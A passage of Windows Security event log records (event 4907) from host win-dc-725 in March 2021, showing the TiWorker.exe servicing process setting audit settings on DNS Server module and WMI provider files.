Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247123 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursionScope_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247122 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursion_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247121 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerQueryResolutionPolicy_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247120 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPrimaryZone_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247119 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPolicy_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247118 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerKeyStorageProvider_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247117 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalQueryBlockList_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247116 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalNameZone_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247115 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerForwarder_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247114 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerEdns_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247113 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDsSetting_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247112 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecZoneSetting_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247111 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecPublicKey_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247110 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDirectoryPartition_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247109 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDiagnostics_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247108 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerConditionalForwarder_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247107 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerClientSubnet_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247106 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerCache_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247105 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServer_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247104 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Types.ps1xml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247103 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Format.ps1xml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247102 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServer.psd1 - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247101 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dnsserverpsprovider_uninstall.mfl - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247100 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dnsserverpsprovider.mfl - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247099 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dnsserverpsprovider.dll.mui - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247098 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dnsprov.mfl - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247097 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dnsetw.mfl - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247096 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\DnsServerPsProvider_Uninstall.mof - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247095 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\DnsServerPsProvider.mof - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247094 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dnsserverpsprovider.dll - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247093 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dnsprov.mof - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247092 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dnsprov.dll - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: 